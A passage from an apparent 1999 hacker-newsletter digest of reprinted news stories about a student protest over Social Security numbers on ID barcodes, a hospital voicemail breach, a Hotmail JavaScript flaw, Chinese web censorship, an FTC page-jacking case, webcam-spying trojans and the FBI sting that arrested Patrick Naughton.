"It would not prevent a school shooting at all. The ID
badge does not change the mindset of the killers," she
added.
She also pointed out that the shootings at many schools
have been by students who would be wearing a badge if
their school had the same policy.
Winchel would object to the card even if the barcode
and Social Security number are no longer displayed.
She does not want her Social Security number to even
be in the school computer system.
"I'm not wearing mine because I'm tired of all of this
nonsense," she said. "I shouldn't have to wear it. I'm a
student. I shouldn't be treated as if I'm a felon. I have
done nothing wrong. I am not going to wear my ID
badge any longer at school. It's not necessary or
relevant to get an education."
Although teachers are required to report a student
without a badge, Washington and Winchel have not had
any action taken against them for their defiance. Winchel
says at least 350 of the approximately 1,200 students
have signed their petition. She believes more would sign
if it were not for the intimidating announcements made
over the school loud speakers each morning.
Students are warned not to deface the cards or to be in
school without them. Disciplinary action on a school
record could prevent college acceptance in later years,
so Winchel says many students are hesitant to be
supportive.
"Honestly, they are very scared to do anything, and I
don't blame them. When you have the school telling you
that you're going to get detention or suspension for not
wearing your ID badge. While they support this they
don't want to be suspended either," she explained.
Both Winchel and Washington plan to meet with the
school board if the principal fails to resolve the situation.
The petition signed by the students states: "The students
of Ruston High who have signed below realize that the
barcode on each student's ID badge is that student's
Social Security number. They also realize that their
Social Security number may not be used in this manner
and request that they be assigned a generic number as a
barcode."
Tagged students
defy big brother, Part 2
By David M. Bresnahan
� 1999 WorldNetDaily.com
Students at Louisiana's Ruston High School continue to
protest the use of ID badges displaying their Social
Security numbers, one parent is threatening a federal
criminal complaint, and the man who programmed the
computers involved has given advice to the students --
become an administrative headache. (See part one,
Tagged students defy Big Brother in yesterday's WND.)
Each student in Louisiana, whether they know it or not,
has a state student ID number. That number by default
is also their Social Security number. Parents can object
and require the school to use a different number.
"Students' parents can request a new state identification
number if they object to use of the Social Security
number," advised Eric L. Green, who was formerly
contracted to install and administer the computers at
Ruston High School
"The school is required to issue such a number if
requested. This is by both state law and school district
policy," he explained to WorldNetDaily. "This is the
best form of civil disobedience. It causes a serious
administrative headache and gives them great incentive
to change the policy. It also directly involves district
personnel, who, when inconvenienced, are likely to go
to the superintendent's office and say 'This policy must
be changed.'"
Students who have been protesting the new requirement
to wear an ID badge displaying their Social Security
number have refused to wear the controversial badges.
Jonathan Washington was made to wear a temporary
red badge on Thursday.
"I wore it for five minutes, then took it off," said
Washington, 15. He said he did not wear a badge for
the rest of the day. Others have begun to follow
Washington's lead. Indeed, he has obtained hundreds of
signatures of students supporting a petition to remove
the Social Security numbers from the badges.
The school computers contain each student's Social
Security number as well as a specially created student
identification number. That number was created to avoid
problems with the use of Social Security numbers.
"I am mystified why they put the Social Security
numbers on the card, rather than the district-assigned
seven-digit student identification number," Green told
WorldNetDaily. "The district-assigned number was
specifically created over seven years ago due to
concerns about widespread use of the Social Security
numbers, concerns expressed both by Lincoln Parish
School Board district officials and by other school
officials state-wide.
"The student identification number can be queried out of
the Student Information Systems database just as easily
as the Social Security number. The only thing that I can
think of is that the placard-generating software they
used had a nine-digit space for student ID number, and
they were too stupid to figure out how to put a
seven-digit number into that space," he explained from
Arizona where he now lives.
Green was paid as a consultant to install the current
computer system at Ruston High School, and spent two
years supervising the transfer of data from those
computers to the school district and to the state
computers in Baton Rouge. Green also transferred data
from the school lunch program computers to the federal
government.
"The only system I know of that must use the federal
Social Security number is the lunch system, where
various anti-fraud laws require them to submit the data
to the feds and the feds then match it against the food
stamp rosters," Green explained.
The computers do not print out Social Security numbers
on any reports, except for reports required by state and
federal agencies. Reports used by the school system
default to the student identification number, which is
seven digits instead of the nine used by the Social
Security number.
"I have no idea why other software vendors did not
adopt such a solution to privacy concerns with the
Social Security number, just as I have no idea why the
administration at Ruston High School chose to use a
number that their administrative software vendor had
been specifically told (by the school district) not to use
as a publicly reported piece of data, due to privacy
concerns," Green stated.
"At this point, I have discussed the legal ramifications of
this with the principal and an assistant superintendent
who has gotten a legal opinion, albeit I think flawed,
from a lawyer that represents them," said Paul
Washington, father of Jonathan, in a phone interview
with WorldNetDaily. "My feeling is that my next move is
to either contact the federal authorities, or institute a
lawsuit on my own. Either way, I am getting very close
to instituting legal action one way or the other."
Washington said he hopes the school officials will
change the ID cards before he is forced to take legal
action to intervene. He has asked the principal to have
the barcodes cut off the cards, but principal Dr. Charles
Scriber has refused to make any changes.
"If they do not back down before I file, it is going to
raise the stakes," explained Washington of his
expectation that he will seek monetary damages.
"If they were to back down tomorrow, which is really
what I have been after all along, I would say 'great' and
let it go," he offered.
Washington's son and hundreds of other students are
objecting to the fact that their new ID badges display
their Social Security numbers, and they are required to
wear the badges at all times. Anyone could copy down
the numbers and use them improperly.
Washington described how easy it is to look at the
barcode and translate it into the actual numeric Social
Security number. He even published a web site that
teaches others to do it. He and Rachel Winchel have led
a student protest and petition drive in an effort to end
the practice.
"We have been very supportive of what his position is,
and are encouraging him to proceed in a legal and very
appropriate way. When suggestions have been made
which we consider to be inappropriate, we explain
why," said Washington of his son's protest.
Scriber claims the barcode is a form of encryption and
therefore the Social Security number is not actually
displayed for all to see.
"The barcode, in my opinion, is just an alternate means
for writing the number. They claim encryption � well,
encryption can only be considered as long as nobody
can read it," said Washington. His son and other
students can demonstrate their ability to read any
barcode in a matter of seconds on sight.
"Philosophically, I am opposed to the wearing of name
tags, but I would not fight that legally if it were not for
the presence of the Social Security number on there.
There is a level of effort that is required to fight this, and
if it's just over the wearing of a name tag, then I'm not
going to go to that level of effort," explained
Washington.
Student ID badges have been moved from wallets to
being worn visibly by many schools across the nation in
an effort to increase security after a rash of school
shootings. Washington and the students do not believe
the badges at Ruston High School contribute to their
safety.
"This makes absolutely no educational sense. The level
of security they are providing with the name tags is zero.
The thing that really bothers me is when they gave out
the name tags, they gave them out with this whistle cord
strap to hang them on. So what you've done is hang a
rope around the neck of all the highschoolers, and told
them to walk through the halls with a rope around your
neck," said Washington.
"They have been pulling on them and one of these days
someone's going to get seriously hurt. I would hate to be
the attorney trying to defend the action of the school in
encouraging, if not requiring them, to wear this rope
around their neck when somebody gets hurt by it. It's
just stupid. It's obvious that there is going to be a
problem sooner or later."
Green, a professor at a local college, believes all
schools are filled with inept bureaucrats who make
unwise decisions, and he blamed the cards on an unwise
choice.
David M. Bresnahan, a contributing editor for
WorldNetDaily.com, is the author of a new report
on Y2K, the book "Cover Up: The Art and Science
of Political Deception," and offers a monthly
newsletter "Talk USA Investigative Reports." He
may be reached through email and also maintains
an archive of his work.
Referenced links:
How to read/change the barcode:
http://www.geocities.com/SiliconValley/Bridge/1086/School/barcodes.html
Interview:
http://www.worldnetdaily.com/bluesky_exnews/19990922_xex_louisiana_hi.shtml
Handbook;
http://www.cab.latech.edu/ruston/rhs/hand2.htm
@HWA
28.0 HOSPITAL SECURITY ISSUES
~~~~~~~~~~~~~~~~~~~~~~~~
From Help Net Security http://www.net-security.org/
by BHZ, Thursday 23rd September 1999 on 1:01 pm CET
WBAI's Off The Hook radio show released information about poor security issues in
St. Joseph's Mercy Hospital. According to them, glitch in the voice mail system
allows callers to access private date of hospital's patients without entering any kind of
password. Story on ZdNet.
(For those that don't know (you been living under a rock??) Off The Hook is hosted by
Emmanuel Goldstein (Eric Corley) founder and editor of 2600 magazine, he can often be
found online on EFNet IRC in #2600 or #off-the-hook)
http://www.zdnet.com/zdtv/cybercrime/news/story/0,3700,2339660,00.html
Medical Records Security
Breach
Unprotected voice system is used by
hospitals across United States;
company that provides system said
security features were included.
September 23, 1999
A disturbing
security breach at
St. Joseph's Mercy
Hospital in Pontiac,
Michigan, left some
confidential patient
records accessible to the public because
the system did not require users to input
a password or any other security
roadblock.
Emmanuel Goldstein, publisher of the
hacker magazine and website 2600.com,
first reported the flaw on public radio
station WBAI's "Off The Hook" on
September 21. The hospital's location was
not known at that time. Goldstein
published a sample audio file on the
2600.com website to alert the country
to the problem, but excised the patient's
name.
Since then a CyberCrime investigation
revealed the location of St. Joseph's
Mercy Hospital as Pontiac, Michigan.
The hospital system uses an internal
digital dictating service that allows
doctors to record and access notes
concerning recent patient examinations
and consultations. The notes include
information about patients, ranging from
admitting and discharge data, to cardiac
and mental health records.
Sonja Berry, public relations spokeswoman
for St. Joseph's Mercy Hospital said the
hospital took immediate action to correct
the situation and reaffirms that the
private information is no longer available
to outside callers. She said the hospital is
now investigating to ensure the problem
will never happen again.
Berry also said that she could not provide
an explanation for the error, but confirmed
that the dictation service was provided by
Dictaphone Corporation of Stratford,
Connecticut, and is used by other
hospitals around the country.
Security features disabled?
In a phone interview with CyberCrime
Legal Analyst Luke Reiter, Dictaphone Vice
President Don Fallati said the company
wants more time to verify that the system
was installed by Dictaphone.
However, Fallati insists that Dictaphone's
products include security features.
"We are trying to confirm that, in this
particular instance, the system is ours,
and what the background to it was,"
Fallati said. "But in general, our digital
dictation systems do have
password-protection features that can be
enabled."
"I'm just not sure in this case what the
background was as to why or why not
those may have been used," Fallati added.
The CyberCrime team continues to
investigate whether these
password-protection measures were
disabled-- and if so, by whom.
@HWA
29.0 HOTMAIL STILL FAR FROM SECURE
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From Help Net Security http://www.net-security.org/
by Thejian, Wednesday 22nd September 1999 on 11:30 pm CET
Microsoft can't seem to shake the security gremlins from its Hotmail free email
service. The software giant is investigating yet another security dilemma with its
Hotmail service that permits the sending of JavaScript code that could automatically
present a bogus password entry screen. Usernames and passwords entered by
unsuspecting users could be collected by the email sender. Georgi Guninski today
pointed out this latest problem in the so plagued free e-mail service, revolving around
bypassing Hotmails' security policies regarding JavaScript code through putting it in
HTML image files.
http://news.cnet.com/news/0-1005-200-122099.html?tag=st.ne.1002.thed.1005-200-122099
Hotmail bug allows password theft
By Erich Luening
Staff Writer, CNET News.com
September 22, 1999, 12:45 p.m. PT
Microsoft can't seem to shake the security gremlins from its Hotmail free email service.
The software giant is investigating yet another security dilemma with its Hotmail service that permits the sending of JavaScript
code that could automatically present a bogus password entry screen. Usernames and passwords entered by unsuspecting
users could be collected by the email sender.
Microsoft said it is looking into the issue, although it has not received any other reports on this security problem.
JavaScript is a Web scripting language developed by Netscape Communications for performing actions on Web pages without
user input. The language is commonly used for launching pop-up windows or for scrolling text, but
it has also become a major security headache for browser makers and Web sites like Hotmail
because of its potential usefulness to malicious hackers.
Earlier this month, Microsoft confirmed a JavaScript password-stealing exploit that had the same
effect as the most recent one, but that was implemented differently, according to Georgi Guninski,
a Bulgarian programmer.
Guninski claims the new JavaScript glitch circumvents Hotmail security barriers by placing the
JavaScript in HTML image files.
Microsoft confirmed that the glitch is yet another way to execute malicious code in someone's
email.
"We do filter out some JavaScript tags to provide better security, to stop some hacks and spoofs,"
said MSN lead product manager Deanna Sanford. "As we get these reports, we are evaluating
other filters to provide to users. It's an ongoing process."
As an extreme measure to protect against such security breaches, both Guninski and Sanford said users can disable JavaScript
in their browsers.
After a security problem last week exposed Hotmail users to attack, Microsoft acknowledged it was hiring an outside firm to
examine security at the free email service.
@HWA
30.0 THE GREAT FIREWALL OF CHINA
~~~~~~~~~~~~~~~~~~~~~~~~~~~
From Help Net Security http://www.net-security.org/
by Thejian, Wednesday 22nd September 1999 on 11:20 pm CET
China is a growing market for online companies and services. But nowadays a 1993
ban on foreign investment in its online industry has put up quite a hurdle for
companies dealing in tech products and e-commerce a like so far. China's main
concerns with the Internet focus on one thing, how to remain in control. Here's an
article on how they're planning to do just that.
http://www.thestandard.com/articles/display/0,1449,6411,00.html?home.of
The World's Wide Web: The
Great Fire Wall of China
By Matthew Yeomans
Here's a global teaser: Name the country
that currently languishes at the bottom of
the Internet food chain, but will have an
estimated 141 million people online by the
year 2005 and will be the largest
e-commerce market in the world. Hint: It's
the most populous nation on earth.
Right now, China counts only 1.4 million
Internet users, but that hasn't halted
companies like Microsoft (MSFT) , AOL (AOL)
, Yahoo (YHOO) and Dow Jones from
plunging into the alluring, but officially
off-limits, waters of the Chinese Internet
industry. Even Christian broadcaster Pat
Robertson is getting in on the act as a major
investor of Zhaodaola, a Beijing-based Web
portal.
But amid the heady rush to dot-com this
vast country lies a nagging question: What
will be the electronic boundaries of the Net
in China? The answer is of prime concern for
Western investors who spend long days
strategizing about how to wire the sleeping
giant. The person who may hold the answer,
at least for the moment, is Wu Jichuan,
China's minister of information industry.
That's why Western politicians and
executives were dumbstruck as Wu
announced that his government would begin
to enforce a 1993 ban on foreign investment
in its online industry. Wu's salvo may signal
little more than a return to hardball
negotiations over China's entry into the
World Trade Organization, which the Clinton
administration would like to see happen
before the end of the year. "This is classic
Chinese bargaining," says Peter Lovelock,
head of Maverick, a telecom consulting
company in Hong Kong.
But other industry watchers aren't as
convinced. "The head of MII is seeming to
kick the door shut on foreign investment in
China's information industries," says Ken
Grant, executive editor of Virtual China's
China Matrix Web site. "It remains to be
seen whether he can keep it closed."
Somewhere beyond all this Beijingology lie
two fundamental concerns for China: How
does it maintain control of what could be its
most influential industry of the next century,
and, just as important, how does it control
the information passed along the Web? After
all, the Internet may be a fine tool for
promoting e-commerce in a giant structured
market economy, but it's likely to play havoc with the official party
line. This hasn't been lost on the ruling technocrats who realize the
Internet is their real-life forbidden fruit: They can't wait to taste it,
but they dare not.
Not surprisingly, all the major players in the domestic Internet boom
are closely monitored by the Chinese government and any offending
information, for instance about Taiwan, Tibet or whatever the current
bete noire, is quickly blocked by a vigilant team of government Web
censors. Both the leading domestic portals Netease and Sina.com
rarely run afoul of the authorities because they don't place material
that breaks from the party line on their mainland Chinese sites.
Ironically, the government's most high-profile victim of political
blocking so far is its own China.com, a strictly controlled Web portal
that is traded on the Nasdaq and is 60 percent owned by the state
news service Xinhua with AOL holding another 8 percent. Last spring,
according to watchers of the Chinese Web, China.com caught the
censors' eyes when it ran items about Taiwan on its mainland site.
The articles were compiled by programmers based in Hong Kong.
China.com has publicly denied being blocked.
But the ever expanding Web universe stretches well beyond the eye
of even China's Ministry of Information Industry. Internet users in
China report that the government either overlooked or couldn't be
bothered to block a U.S. State Department archive site on the 1989
Tiananmen protests. That's just the sort of vast cybersecurity breach
which international dissidents and human-rights activists intend to
exploit. While they may be able to reach only a small percentage of
the Chinese population, activists maintain that in a Chinese society,
where Internet access is available only to the rich, the intellectuals
and the students, it's not about how many people they reach, but
which ones.
"What scares the Chinese government so much is that the people who
have access to the Internet right now have historically been the
people who have launched revolutions," says Bobson Wong, director
of the Digital Freedom Network, a Web site dedicated to airing
dissident voices that have been silenced in their own lands.
Leading the charge is a former Tiananmen Square activist who goes
by the pseudonym, Richard Long. Everyday, Long publishes a
newsletter called VIP Reference that he sends to over 30,000 Chinese
e-mail accounts � whether they want it or not. In short, Long is using
the scourge of Western e-commerce, spamming, to advocate social
change in China. VIP Reference is taken so seriously in China that two
weeks ago, one dissident, Qi Yanchen, was arrested and charged with
sedition for printing copies of the newsletter to pass around. While
some activists complain that Long's political mass mailing alienates
people in China and endangers some underground dissidents, Long
says VIP Reference feeds "an information-hungry country." With spam,
of course.
But is it realistic to expect Internet commerce to bring about
democracy in China? After all, telling China that it's morally better to
be like the West and here's a new Pepsi ad to prove it is unlikely to
change a government that hasn't so much as flirted with democracy
for over 5,000 years. At the same time, in a world where Tiananmen
Square leader Ling Chai seeks to realize her ideals through a software
startup, it's not surprising that someone like Long would seek to make
politics and business work together. Long thinks nothing of exchanging
his database of 500,000 addresses with young Chinese entrepreneurs
in return for a list of their clients. "Everybody knows I have the
largest Internet database in China," he says, matter-of-factly.
Despite Wu's concerns over controlling the telecommunications
industry, China may well already be on an unstoppable course. While
the cost of PCs remains prohibitively high for the ordinary Chinese, the
country's cellular and cable network offers the hope of cheap mass
connectivity in the near future. And while the Chinese may not surf as
much as Americans, they certainly watch TV. There are some 320
million television sets in China, and companies such as the Web portal
MyWeb are exploring the possibilities of wiring China via a vast system
of set-top boxes.
So even if China chose to pursue its digital future alone, it might still
be building a bigger soapbox for Long and other dissidents. You never
know, the revolution may yet be televised.
@HWA
31.0 FTC CRACKS INTERNATIONAL PORN RING
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From Help Net Security http://www.net-security.org/
by Thejian, Wednesday 22nd September 1999 on 10:40 pm CET
US and Australian authorities have raided a online porn ring, which according to the
Federal Trade Commission, "hijacked" Web sites and "kidnapped" innocent surfers,
redirecting them to its smut sites. The FTC also announced a new Internet Lab that
will track and gather evidence on illegal activities in cyberspace. ZDNet
http://www.zdnet.com/zdnn/stories/news/0,4586,2339568,00.html?chkpt=hpqs014
--------------------------------------------------------------
This story was printed from ZDNN,
located at http://www.zdnet.com/zdnn.
--------------------------------------------------------------
FTC cracks international porn ring
By Randy Barrett, Inter@ctive Week
September 22, 1999 1:10 PM PT
URL: http://www.ynotnetwork.com/ho/index.html
The Federal Trade Commission announced Wednesday it has won a federal injunction against an
international porn ring that cloned 25 million Web pages and "hijacked" unsuspecting visitors to its
smut sites.
The defendants -- Carlos Pereira, Guiseppe Nirta and his company called W.T.F.R.C. Pty. Ltd.
-- were all named in a preliminary injunction by the Eastern District Court of Virginia. Periera is
believed to reside in Portugal, while Nirta and WTFRC are based in Australia.
"These operators hijacked Web sites, 'kidnapped' consumers and held them captive," said Jodie
Bernstein, director of the FTC's Bureau of Consumer Protection.
"When consumers used search engines to find subjects as innocent as 'Kids on the Net,' 'News
about Kosovo,' or 'wedding services,' they risked being exposed to a torrent of tawdry images."
In its complaint, the FTC alleged that the group "page-jacked" 25 million legitimate Web pages by
copying them in their entirety and either resubmitting them with search engines such as AltaVista
and Yahoo! (Nasdaq:YHOO), or waiting for automatic crawlers to do the work for them. The
purloined pages included those of the Harvard Law Review, the Japanese Friendship Garden
and NewWorld.com, which owns the popular Adrenaline Vault game site.
The net effect of the mass page copying was that Web surfers using search engines would choose
sites with legitimate names and descriptions, but be instantly redirected to porn enclaves.
Once there, the FTC alleges, the defendants used another trick, called "mouse trapping," to render
the back-page and browser-close buttons useless via special Java code. Visitors were then forced
to shut down their computers to close the session.
Australian raids
Australian law enforcement raided WTFRC facilities Wednesday and seized numerous servers as
evidence. Allan Asher, deputy chairman of the Australian Competition and Consumer
Commission, said by videophone from Canberra that law enforcement authorities there had raided
eight locations, gathering information for possible criminal prosecution or civil action.
FTC officials said the Portuguese Instituto do Consumidor had cooperated in
investigations of Pereira.
Web address administrator Network Solutions Inc. (Nasdaq:NSOL)
appears to have complied with the federal injunction and shut down several
domains used by the defendants, including www.atariz.com and
www.pirate.lynx.com.
Bernstein presented lawyer John Fischer of Irving, Texas, who said his client,
Newworld.com, owner of the game site Adrenaline Vault, at Avault.com,
was hijacked.
In court papers, Fischer said the company was considering the possible sale
of a portion of Adrenaline Vault to investors for more than $20 million when the hijacking
occurred.
100th FTC complaint
"We lost thousands of dollars a day (in value)," Fischer told the news conference, until he got
search engines to restore access.
Fischer said he sought help without success from the FBI, state and
local authorities. Eventually the Federal Trade Commission became
involved, exercising its authority to act against deception and unfairness to consumers.
At its press conference, the FTC also unveiled a new Internet Lab where the agency will track and
gather evidence on illegal activities in cyberspace. The "page-jacking" case is the 100th
Internet-related complaint brought by the commission to date.
Reuters contributed to this report.
@HWA
32.0 WINLINUX2000 Windows or Linux? can't decide? try this ...
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
<geez, it had to happen didn't it?, now everyone that can't get linux running is
gonna be grabbing this and trying to run 'sploits and shit...reminds me of the bbs
days when Christmas rolled around and all the newbies that got modems for xmas
flooded the boards...sigh - Ed >
From Help Net Security http://www.net-security.org/
by BHZ, Wednesday 22nd September 1999 on 3:27 am CET
Ever heard of WinLinux 2000? Today final Beta version of WinLinux 2000 for
evaluation and testing was released. WinLinux 2000 is the first Linux distribution
developed for Microsoft Window. http://linuxpr.com/releases/406.html
WinLinux 2000: The First Linux
for Windows
Sep 21st, 16:09 UTC
JRCP today released to the Internet community the final Beta version of
WinLinux 2000 for evaluation and testing.
September 21, 1999 - JRCP today released to the Internet community the
final Beta version of WinLinux 2000 for evaluation and testing. WinLinux
2000 is the first Linux distribution developed for Microsoft Windows(tm)
users and its unique features include:
Windows integration: WinLinux 2000 uses the latest technology
available in the industry to install as easily as any Windows
application.
Smart configuration: Thanks to the exclusive detection software which
combines Windows and Linux expertise, most of the hardware
devices are detected and automatically configured to reflect current
settings and preferences.
Safe installation: WinLinux 2000 performs a safe installation because a
risky operation (HD repartitioning) common to most Linux systems is
not needed to install it
Easy troubleshooting: a Troubleshooting Utility is included to simplify
the request of Online Support
Optimal Disk Usage: WinLinux 2000 shares free disk space with
Windows, i.e., you do not have to set two independent hard disk
partitions that do not share free disk space.
Familiar look and feel: K Desktop Environment plus WinLinux
additions turn it into a familiar place to work with easy access to
Windows network drives and the Internet.
"WinLinux is a real alternative for both Windows and Linux users", says
Jacob Hartmann, 52, JRCP CFO.
WinLinux 2000 uses the award winning K Desktop Environment as its
graphical user interface. It comes with Netscape Communicator, KOrganizer
and support for Debian, Slackware and Red Hat format packages which
extend the range of supported applications.
As WinLinux 2000 bridges the gap that has been preventing Windows users
from installing and configuring a Linux system in the last years, it is expected
that more and more software vendors port their desktop applications, games
and utilities to this open platform.
According to Mr. Dinamerico Schwingel, 30, JRCP CTO, "Linux has
already matured to be used on desktop machines and, besides that, it is
based on the Open Source concept which leverages the playing field for all
software makers".
During the installation process WinLinux 2000 does not change any of the
machine settings and keeps users' data safe from partitioning the hard drive.
The product is being placed as an add-on to Microsoft Windows and it is
even displayed as installed sofware in the Control Panel. Although WinLinux
2000 installation is in English, support for German, French or Spanish can be
selected after installing it.
Beta version of WinLinux 2000 can be downloaded from the website
http://www.winlinux.net and no registration is required. The release version is
expected to be available by beginning of November.
Further contact must be addressed to info@winlinux.net
Windows is a registered trademark of Microsoft. Linux is a registered
trademark of Linus Torvalds. WinLinux is a service mark of JRCP. Other
trademarks belong to their owners. JRCP is a privately held company and
can be contacted by e-mail at info@winlinux.net or on the web at
http://www.winlinux.net.
(Submitted by Dwight Johnson of Linux Today)
@HWA
33.0 YOUR PC COULD BE TAPPED
~~~~~~~~~~~~~~~~~~~~~~~
From Help Net Security http://www.net-security.org/
by Thejian, Wednesday 22nd September 1999 on 0:10 am CET
If you're finding user-installed cameras and/or microphones on Windows NT machines
in your enterprise, be afraid--they could be used for electronic espionage. As we
reported earlier U.S. Army special agents have been showing their commanding
officers how to turn microphones and cameras into remote spying devices using
remote administration tools as BO and Netbus. Here's another article about it.
http://www.pcworld.com/pcwtoday/article/0,1510,12891,00.html
Your PC May Be Tapped
Microphones and cameras can provide hackers
with the perfect view for electronic espionage.
by Computerworld staff, Computerworld
September 21, 1999, 10:31 a.m. PT
If you're finding user-installed cameras and/or
microphones on Windows NT machines in your
enterprise, be afraid--they could be used for electronic
espionage.
For the past four months, U.S. Army special agents
have been showing their commanding officers how to
turn microphones and cameras into remote spying
devices.
"We run this in the lab here all the time. You can hear
the guys talking (from another room), but they have no
idea you're listening to them," says Jeff Hormann,
special agent in charge of the Computer Crime
Resident Agency, U.S. Army Criminal Investigation
Command.
The attack is delivered to the victim as a Trojan
horse--a hostile applet carrying executable code--via an
e-mail attachment. Once the attachment is opened, the
attacker, using ports 12345 and 12346 on the desktop,
or via HTTP Web protocol and file transfer protocol
connections, can load a remote administration tool and
order the Trojan horse to turn on the video and/or audio
of the targeted machine.
By exploiting remote administration tools such as
NetBus and Back Orifice, both of which the Army has
proved can be used, the attacker can hijack desktop
camera and microphone applications and then direct
image and voice transmissions to the attacker's PC.
Because user-installed cameras and microphones
usually don't have indicator lights, the victim is
completely unaware of any eavesdropping, according to
Hormann and others. And no desktop image, except
maybe a small tool bar icon, will appear on the victim's
computer to indicate that the audio and video capture
are on, he adds.
Uninvited Attendees?
Worse, says Powell Hamilton, manager of technology
risk services at PricewaterhouseCoopers, attackers
can use the same tactics to hijack an online meeting
session conducted through systems like Microsoft's
NetMeeting, and grab shared whiteboard information.
One comforting fact, Hamilton says, is that
microphones and cameras have yet to proliferate
across the enterprise because image, voice, and
videoconferencing technologies are still rough around
the edges. And, he adds, security fears will probably
continue to stall widespread adoption.
Hamilton says nearly 40 percent of the client sites he
has reviewed don't have virus protection, and 90 percent
don't use intrusion detection software. While this may
seem like a basic step, keeping virus- and
intrusion-detection tools up to date can help.
Symantec's Norton AntiVirus, for example, recognizes
when NetBus 1.6 and 2.0 and Back Orifice and Back
Orifice 2000 are running on a desktop.
But hackers now possess compiling tools to change
the attack signatures, making it more difficult for
packaged applications to catch these attacks.
So, what can you do about electronically committed
corporate espionage? First, manually cap cameras and
unplug microphones when you are not using them. And
if your organization is moving toward adoption of voice
and video technologies, pay for higher-end microphones
and cameras with indicator lights.
For more enterprise computing news, visit
Computerworld Online. Story copyright 1999
Computerworld Inc. All rights reserved.
@HWA
34.0 HOW THE FBI BAITED THE NAUGHTON TRAP
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From Help Net Security http://www.net-security.org/
by Thejian, Tuesday 21st September 1999 on 11:55 pm CET
By now you've probably all heard of Patrick Naughton getting arrested for allegedly
luring a 13-year-old girl into a sexual liaison. Here's an article on that and on how the
FBI lured him into the trap using "cyber-tricks" (basically pretending to be a young
girl). The Seattle Times.
http://www.seattletimes.com/news/local/html98/patt_19990921.html
How FBI baited trap that snared Web
wiz
by Ian Ith
Seattle Times Eastside bureau
In the pantheon of the Internet, the brilliant minds that invented,
shaped and groomed the cyberspace world, Patrick Naughton is
at least a demigod. To the tech-savvy, he is something close to a
household word.
He is credited with inspiring and helping to invent Java, the
revolutionary, Internet-friendly computer language. Later, he was
a guiding force in Paul Allen's brainchild Starwave. And most
recently, he was an executive vice president at the popular Web
portal company Infoseek. He is worth millions.
So yesterday, while some who worked with Naughton said it was
no secret he frequented cyberspace's seamier side, it was hard to
comprehend how someone so deeply in tune with the technology
could have stumbled into an FBI trap - allegedly duped into
thinking he was luring a 13-year-old girl into a sexual liaison when
in reality he was the one about to be snared.
"It has not been a secret we're out there policing the Internet,"
said Special Agent Randy Aden, who heads the FBI team that
arrested Naughton on Thursday in Santa Monica, Calif.
Naughton, 34, has been charged in federal court with interstate
travel with the intent of having sex with a minor. Additional
charges are possible. Investigators are reviewing the contents of a
laptop computer Naughton turned over to them.
He is free on $100,000 bond while awaiting arraignment Oct. 12
in California. Under terms of his bail, he can't go anywhere but
Washington and California, he surrendered his passport, he can't
use the Internet except for business purposes and is forbidden to
be alone with minors without consent of their parents, said
Assistant U.S. Attorney Patricia Donahue.
Naughton has not commented and couldn't be reached yesterday.
How the FBI tracks chat rooms
In a criminal complaint filed in U.S. District Court, agents said
they posed as a teen in an Internet chat room in March and were
contacted by Naughton, who was calling himself "hotseattle."
Over seven months, "hotseattle" and agents conversed, the
complaint said. Authorities said he invited the "girl" to meet him
Sept. 16 at the Santa Monica Pier, promising to take her to his
hotel room and show her photos of himself with another girl he
supposedly had on his computer.
Instead, the person waiting was an undercover FBI agent.
Naughton was jailed overnight, and his laptop computer seized as
evidence.
Naughton, Aden said, was essentially netted in an FBI trawling
expedition in the vast ocean of chat rooms.
Aden is one of a pair of special agents assigned to the FBI's
Sexual Assault Special Enforcement (SAFE) team in Los
Angeles, which was formed in 1995 because of the sudden
upsurge in sex crimes using the Internet.
How the FBI tracks chat rooms is a trade secret, Aden said. But
the complaint involving Naughton reveals at least one key element:
They use the same cyber-tricks that make chat-room visitors think
they are safe and anonymous.
Internet chat rooms allow people to log on using strictly
anonymous nicknames. And newer, Internet-based e-mail
services such as Hotmail and Yahoo! allow people to get and
send e-mail anonymously.
"The Internet gives a false sense of anonymity," Aden said.
So FBI agents go to chat rooms and pretend to be young girls.
Essentially, they bait the hook and hope for a bite.
The criminal complaint against Naughton said that while he was
arranging to meet with the undercover agent, he also was allegedly
chatting with other girls and claimed to have already met some of
them.
The origins of Java
Naughton's rise to success started in his family's popular
restaurant in Churchville, N.Y., where Naughton earned enough
money to buy his first computer, an Apple II.
After earning straight A's in Catholic schools, Naughton worked
his way through college as a software engineer. He graduated
from Clarkson University in Potsdam, N.Y., in 1988.
Immediately, he was off to Silicon Valley to work for Sun
Microsystems.
Two years later, Naughton was frustrated with the company and
had accepted another job with Apple Computer founder Steve
Jobs at his new company, NeXT. As an off-handed, parting shot,
Naughton sent a missive to Sun CEO Scott McNealy saying Sun
had lost its vision.
McNealy paid to keep Naughton and handed him the reins of a
project called "Green," which would eventually give birth to Java,
a computer language that can be read by more than one computer
operating system.
"If I had left, Java wouldn't have existed," he told the Rochester
Business Journal in New York in 1997.
In the wake of Java's success, he also wrote two books, "The
Java Handbook" and "Java: The Complete Reference."
In a 1997 piece he wrote for Forbes magazine titled "Mr. Famous
Comes Home," Naughton said he joined Starwave because he
had finally had enough of Sun: "I had done all this work and was
not going to get any of the glory," he said.
"But I'd have lots and lots of regrets if I'd become a short-order
cook at Denny's. Given that I'm the president of a company that
has five of the top 10 Internet properties on the planet, it's OK. . .
. I'm glad I'm at the top of the food chain."
So much to lose
At Starwave and later at Infoseek, he is known as an outgoing,
energetic leader. He enjoys ice hockey and boating and played on
a company soccer team.
"He's someone whom everybody looked up to," said an Infoseek
employee who asked not to be named. "It's a double sting to have
someone who was looked up to have a fall like this."
Not everyone was so surprised. Other former colleagues said it
was common knowledge around the office that Naughton
frequented chat rooms.
Meanwhile, Naughton's former colleagues at Sun, as well as
executives at Starwave and Infoseek, have declined comment.
Infoseek has said only that Naughton no longer works there, and
the company doesn't condone "behavior of this nature."
Disney, which owns 43 percent of Infoseek and is in the midst of
buying the rest of the company, has sought to distance itself from
Naughton's arrest. He was an employee of Infoseek, not Disney,
a spokeswoman said. But at the same time, top Disney executive
Steven Bornstein is visiting the Bellevue office today to speak with
employees. Bornstein was recently named the new chairman of
Disney's Buena Vista Internet Group.
Naughton is married to a Seattle artist. They have no children. His
stock and options in Infoseek, where he earned $183,000 a year,
have been valued at $13.3 million. The couple's Perkins Lane
